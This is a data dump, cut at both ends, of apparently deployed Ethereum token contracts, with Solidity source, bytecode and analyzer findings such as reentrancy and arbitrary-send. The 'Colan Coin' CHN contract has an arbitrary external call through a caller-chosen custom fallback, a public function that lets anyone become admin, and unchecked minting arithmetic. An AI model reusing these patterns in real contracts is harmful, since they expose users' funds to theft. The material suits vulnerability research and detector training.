65b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016905600a265627a7a723058202ebfd4ba2bb730fd96752c14eaa97e03116179a294710ab250a905766883d8d16c6578706572696d656e74616cf50037 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "public-mappings-nested", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,596 |
0x9103359C77dD2Cf386f653Ace3b08B3De8f5c52f | pragma solidity ^0.4.23;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract ZetCrowdsaleToken is MintableToken {
// solium-disable-next-line uppercase
string public constant name = "FreldoCoin";
string public constant symbol = "FRECN"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
} | 0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b81146100f557806306fdde031461011e578063095ea7b3146101a857806318160ddd146101cc57806323b872dd146101f3578063313ce5671461021d57806340c10f1914610248578063661884631461026c57806370a0823114610290578063715018a6146102b15780637d64bcb4146102c85780638da5cb5b146102dd57806395d89b411461030e578063a9059cbb14610323578063d73dd62314610347578063dd62ed3e1461036b578063f2fde38b14610392575b600080fd5b34801561010157600080fd5b5061010a6103b3565b604080519115158252519081900360200190f35b34801561012a57600080fd5b506101336103d4565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016d578181015183820152602001610155565b50505050905090810190601f16801561019a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b457600080fd5b5061010a600160a060020a036004351660243561040b565b3480156101d857600080fd5b506101e1610475565b60408051918252519081900360200190f35b3480156101ff57600080fd5b5061010a600160a060020a036004358116906024351660443561047b565b34801561022957600080fd5b506102326105fb565b6040805160ff9092168252519081900360200190f35b34801561025457600080fd5b5061010a600160a060020a0360043516602435610600565b34801561027857600080fd5b5061010a600160a060020a036004351660243561071f565b34801561029c57600080fd5b506101e1600160a060020a0360043516610818565b3480156102bd57600080fd5b506102c6610833565b005b3480156102d457600080fd5b5061010a6108a5565b3480156102e957600080fd5b506102f261094f565b60408051600160a060020a039092168252519081900360200190f35b34801561031a57600080fd5b5061013361095e565b34801561032f57600080fd5b5061010a600160a060020a0360043516602435610995565b34801561035357600080fd5b5061010a600160a060020a0360043516602435610a8e565b34801561037757600080fd5b506101e1600160a060020a0360043581169060243516610b30565b34801561039e57600080fd5b506102c6600160a060020a0360043516610b5b565b60035474010000000000000000000000000000000000000000900460ff1681565b60408051808201909152600a81527f4672656c646f436f696e00000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60015490565b6000600160a060020a038316151561049257600080fd5b600160a060020a0384166000908152602081905260409020548211156104b757600080fd5b600160a060020a03808516600090815260026020908152604080832033909416835292905220548211156104ea57600080fd5b600160a060020a038416600090815260208190526040902054610513908363ffffffff610bf416565b600160a060020a038086166000908152602081905260408082209390935590851681522054610548908363ffffffff610c0616565b600160a060020a038085166000908152602081815260408083209490945587831682526002815283822033909316825291909152205461058e908363ffffffff610bf416565b600160a060020a038086166000818152600260209081526040808320338616845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b601281565b60035460009033600160a060020a0390811691161461061e57600080fd5b60035474010000000000000000000000000000000000000000900460ff161561064657600080fd5b600154610659908363ffffffff610c0616565b600155600160a060020a038316600090815260208190526040902054610685908363ffffffff610c0616565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561077c57600160a060020a0333811660009081526002602090815260408083209388168352929052908120556107b3565b61078c818463ffffffff610bf416565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60035433600160a060020a0390811691161461084e57600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b60035460009033600160a060020a039081169116146108c357600080fd5b60035474010000000000000000000000000000000000000000900460ff16156108eb57600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b60408051808201909152600581527f465245434e000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a03831615156109ac57600080fd5b600160a060020a0333166000908152602081905260409020548211156109d157600080fd5b600160a060020a0333166000908152602081905260409020546109fa908363ffffffff610bf416565b600160a060020a033381166000908152602081905260408082209390935590851681522054610a2f908363ffffffff610c0616565b600160a060020a03808516600081815260208181526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610ac6908363ffffffff610c0616565b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610b7657600080fd5b600160a060020a0381161515610b8b57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610c0057fe5b50900390565b81810182811015610c1357fe5b929150505600a165627a7a7230582084231b9ce3a25027227238ccbec073b0741f0f652a9c7b2856f37d66b8b079f90029 | {"success": true, "error": null, "results": {}} | 10,597 |
0x2e2fc8569d3ba251965bf8ad85e2f55c37612718 | pragma solidity ^0.4.17;
contract ERC223 {
uint public totalSupply;
// ERC223 functions and events
function balanceOf(address who) public constant returns (uint);
function totalSupply() constant public returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() constant public returns (string _name);
function symbol() constant public returns (string _symbol);
function decimals() constant public returns (uint8 _decimals);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
//function approve(address _spender, uint256 _value) returns (bool success);
// function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// event Approval(address indexed _owner, address indexed _spender, uint _value);
event Burn(address indexed from, uint256 value);
}
/**
* Include SafeMath Lib
*/
contract SafeMath {
uint256 constant public MAX_UINT256 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
function safeAdd(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (x > MAX_UINT256 - y)
revert();
return x + y;
}
function safeSub(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (x < y) {
revert();
}
return x - y;
}
function safeMul(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (y == 0) {
return 0;
}
if (x > MAX_UINT256 / y) {
revert();
}
return x * y;
}
}
/*
* Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function
* if data of token transaction is a function execution
*/
}
}
/*
* CHN token with ERC223 Extensions
*/
contract CHN is ERC223, SafeMath {
string public name = "Colan Coin";
string public symbol = "Colan";
uint8 public decimals = 8;
uint256 public totalSupply = 10000000000 * 10**8;
address public owner;
address public admin;
// bool public unlocked = false;
bool public tokenCreated = false;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
function admined(){
admin = msg.sender;
}
// Initialize to have owner have 100,000,000,000 CHN on contract creation
// Constructor is called only once and can not be called again (Ethereum Solidity specification)
function CHN() public {
// Ensure token gets created once only
require(tokenCreated == false);
tokenCreated = true;
owner = msg.sender;
balances[owner] = totalSupply;
// Final sanity check to ensure owner balance is greater than zero
require(balances[owner] > 0);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyAdmin(){
require(msg.sender == admin) ;
_;
}
function transferAdminship(address newAdmin) onlyAdmin {
admin = newAdmin;
}
// Function to distribute tokens to list of addresses by the provided amount
// Verify and require that:
// - Balance of owner cannot be negative
// - All transfers can be fulfilled with remaining owner balance
// - No new tokens can ever be minted except originally created 100,000,000,000
function distributeAirdrop(address[] addresses, uint256 amount) onlyOwner public {
// Only allow undrop while token is locked
// After token is unlocked, this method becomes permanently disabled
//require(unlocked);
// Amount is in Wei, convert to CHN amount in 8 decimal places
uint256 normalizedAmount = amount * 10**8;
// Only proceed if there are enough tokens to be distributed to all addresses
// Never allow balance of owner to become negative
require(balances[owner] >= safeMul(addresses.length, normalizedAmount));
for (uint i = 0; i < addresses.length; i++) {
balances[owner] = safeSub(balanceOf(owner), normalizedAmount);
balances[addresses[i]] = safeAdd(balanceOf(addresses[i]), normalizedAmount);
Transfer(owner, addresses[i], normalizedAmount);
}
}
// Function to access name of token .sha
function name() constant public returns (string _name) {
return name;
}
// Function to access symbol of token .
function symbol() constant public returns (string _symbol) {
return symbol;
}
// Function to access decimals of token .
function decimals() constant public returns (uint8 _decimals) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() constant public returns (uint256 _totalSupply) {
return totalSupply;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
// Only allow transfer once unlocked
// Once it is unlocked, it is unlocked forever and no one can lock again
// require(unlocked);
if (isContract(_to)) {
if (balanceOf(msg.sender) < _value) {
revert();
}
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.call.value(0)(bytes4(sha3(_custom_fallback)), msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
// Only allow transfer once unlocked
// Once it is unlocked, it is unlocked forever and no one can lock again
// require(unlocked);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC223 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public returns (bool success) {
// Only allow transfer once unlocked
// Once it is unlocked, it is unlocked forever and no one can lock again
//require(unlocked);
//standard function transfer similar to ERC223 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) {
revert();
}
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) {
revert();
}
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
}
// Get balance of the address provided
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
// Creator/Owner can unlocked it once and it can never be locked again
// Use after airdrop is complete
/* function unlockForever() onlyOwner public {
unlocked = true;
}*/
// Allow transfers if the owner provided an allowance
// Prevent from any transfers if token is not yet unlocked
// Use SafeMath for the main logic
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
// Only allow transfer once unlocked
// Once it is unlocked, it is unlocked forever and no one can lock again
//require(unlocked);
// Protect against wrapping uints.
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]);
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
balances[_from] = safeSub(balanceOf(_from), _value);
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value);
}
Transfer(_from, _to, _value);
return true;
}
function mintToken(address target, uint256 mintedAmount) onlyOwner{
balances[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
} | 0x6060604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461010157806318160ddd1461018f57806323b872dd146101b8578063313ce5671461023157806333a581d21461026057806342966c68146102895780635be7cc16146102c457806370a08231146102fd57806379c650681461034a5780638da5cb5b1461038c57806394594625146103e157806395d89b4114610444578063a6515a98146104d2578063a9059cbb146104e7578063acb39d3014610541578063be45fd621461056e578063f6368f8a1461060b578063f851a440146106eb575b600080fd5b341561010c57600080fd5b610114610740565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610154578082015181840152602081019050610139565b50505050905090810190601f1680156101815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019a57600080fd5b6101a26107e8565b6040518082815260200191505060405180910390f35b34156101c357600080fd5b610217600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107f2565b604051808215151515815260200191505060405180910390f35b341561023c57600080fd5b610244610c79565b604051808260ff1660ff16815260200191505060405180910390f35b341561026b57600080fd5b610273610c90565b6040518082815260200191505060405180910390f35b341561029457600080fd5b6102aa6004808035906020019091905050610cb4565b604051808215151515815260200191505060405180910390f35b34156102cf57600080fd5b6102fb600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610db8565b005b341561030857600080fd5b610334600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e58565b6040518082815260200191505060405180910390f35b341561035557600080fd5b61038a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ea1565b005b341561039757600080fd5b61039f611013565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103ec57600080fd5b610442600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019091905050611039565b005b341561044f57600080fd5b6104576112f6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561049757808201518184015260208101905061047c565b50505050905090810190601f1680156104c45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104dd57600080fd5b6104e561139e565b005b34156104f257600080fd5b610527600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506113e1565b604051808215151515815260200191505060405180910390f35b341561054c57600080fd5b610554611420565b604051808215151515815260200191505060405180910390f35b341561057957600080fd5b6105f1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611433565b604051808215151515815260200191505060405180910390f35b341561061657600080fd5b6106d1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061146a565b604051808215151515815260200191505060405180910390f35b34156106f657600080fd5b6106fe61179b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610748611ccd565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107de5780601f106107b3576101008083540402835291602001916107de565b820191906000526020600020905b8154815290600101906020018083116107c157829003601f168201915b5050505050905090565b6000600454905090565b60008082600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156108c0575082600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561094b5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b151561095657600080fd5b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610a245750828110155b1515610a2f57600080fd5b610a41610a3b85610e58565b846117c1565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a96610a9086610e58565b846117fd565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811015610c0857610b87600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846117fd565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6000600360009054906101000a900460ff16905090565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610d0457600080fd5b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1457600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610efd57600080fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561109857600080fd5b6305f5e100830291506110ac845183611817565b60076000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561111b57600080fd5b600090505b83518110156112f05761115d611157600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e58565b836117fd565b60076000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111eb6111e585838151811015156111d657fe5b90602001906020020151610e58565b836117c1565b6007600086848151811015156111fd57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550838181518110151561125357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffff